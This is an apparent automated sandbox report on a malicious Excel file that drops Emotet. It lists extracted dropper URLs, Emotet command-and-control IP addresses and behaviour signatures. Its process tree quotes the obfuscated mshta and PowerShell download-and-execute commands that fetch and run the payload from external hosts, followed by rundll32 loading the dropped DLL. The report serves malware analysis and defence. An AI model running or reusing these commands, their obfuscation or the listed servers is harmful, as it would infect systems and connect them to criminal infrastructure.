Analysis
- max time kernel
142s - max time network
154s - platform
windows10-2004_x64 - resource
win10v2004-en-20220112 - submitted
19/01/2022, 18:02
General
- Target eaa97dd2f51e218ca3743ffddab4451a.xls
- Size 141KB
- Sample220119-wmf49acbbk
- SHA256 2e1ea41b40eda483558b5bb13f493c45a97d3c19214d9b1f11198ef25976d4f4
Malware Config
Extracted
-
hta
-
hta.dropper
http://0xb907d607/fer/fer.html
Extracted
-
ps1
-
ps1.dropper
http://185.7.214.7/fer/fer.png
Extracted
-
emotet
-
Epoch4
-
131.100.24.231:80
-
209.59.138.75:7080
-
103.8.26.103:8080
-
51.38.71.0:443
-
212.237.17.99:8080
-
79.172.212.216:8080
-
207.38.84.195:8080
-
104.168.155.129:8080
-
178.79.147.66:8080
-
46.55.222.11:443
-
103.8.26.102:8080
-
192.254.71.210:443
-
45.176.232.124:443
-
203.114.109.124:443
-
51.68.175.8:8080
-
58.227.42.236:80
-
45.142.114.231:8080
-
217.182.143.207:443
-
178.63.25.185:443
-
45.118.115.99:8080
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
- suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
- Blocklisted process makes network request 5 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 4 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 5 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 14 IoCs
- Suspicious use of WriteProcessMemory 24 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\eaa97dd2f51e218ca3743ffddab4451a.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fer.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hqrgpfzzusrhmhzk\wkbklu.ron",cJvEPjrEuBPeOeM8⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Hqrgpfzzusrhmhzk\wkbklu.ron",DllRegisterServer9⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1048 -s 17244⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow1⤵
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 456 -p 1048 -ip 10481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\67fc3f6899194137acdd06634e64e27f /t 3892 /p 38961⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/360-1015-0x00000000056B0000-0x00000000056D6000-memory.dmp
memory/360-1017-0x00000000057B0000-0x00000000057D6000-memory.dmp
memory/360-1013-0x0000000005650000-0x0000000005676000-memory.dmp
memory/360-1011-0x00000000054E0000-0x0000000005506000-memory.dmp
memory/360-1009-0x0000000004D00000-0x0000000004D26000-memory.dmp
memory/360-1019-0x0000000005810000-0x0000000005836000-memory.dmp
memory/360-1021-0x0000000005930000-0x0000000005956000-memory.dmp
memory/360-1023-0x0000000005A20000-0x0000000005A46000-memory.dmp
memory/360-1025-0x0000000005B00000-0x0000000005B26000-memory.dmp
memory/1948-995-0x0000000004820000-0x0000000004846000-memory.dmp
memory/1948-999-0x0000000004AA0000-0x0000000004AC6000-memory.dmp
memory/1948-992-0x0000000004290000-0x00000000042B6000-memory.dmp
memory/1948-1004-0x0000000004C80000-0x0000000004CA6000-memory.dmp
memory/1948-1001-0x0000000004B00000-0x0000000004B26000-memory.dmp
memory/1948-997-0x0000000004910000-0x0000000004936000-memory.dmp
memory/3716-972-0x0000025A55950000-0x0000025A6DB50000-memory.dmp
memory/3716-971-0x0000025A55950000-0x0000025A6DB50000-memory.dmp
memory/3716-976-0x0000025A6DF90000-0x0000025A6DFD4000-memory.dmp
memory/3716-994-0x0000025A6E060000-0x0000025A6E0D6000-memory.dmp
memory/3716-975-0x0000025A55950000-0x0000025A6DB50000-memory.dmp
memory/3716-970-0x0000025A6DA50000-0x0000025A6DA72000-memory.dmp
memory/3896-131-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp
memory/3896-138-0x00007FFB9ED60000-0x00007FFB9ED70000-memory.dmp
memory/3896-137-0x00007FFB9ED60000-0x00007FFB9ED70000-memory.dmp
memory/3896-134-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp
memory/3896-133-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp
memory/3896-132-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp
memory/3896-130-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp
memory/3896-1045-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp
memory/3896-1046-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp
memory/3896-1047-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp
memory/3896-1048-0x00007FFBA13D0000-0x00007FFBA13E0000-memory.dmp
memory/3900-989-0x00000000007E0000-0x0000000000806000-memory.dmp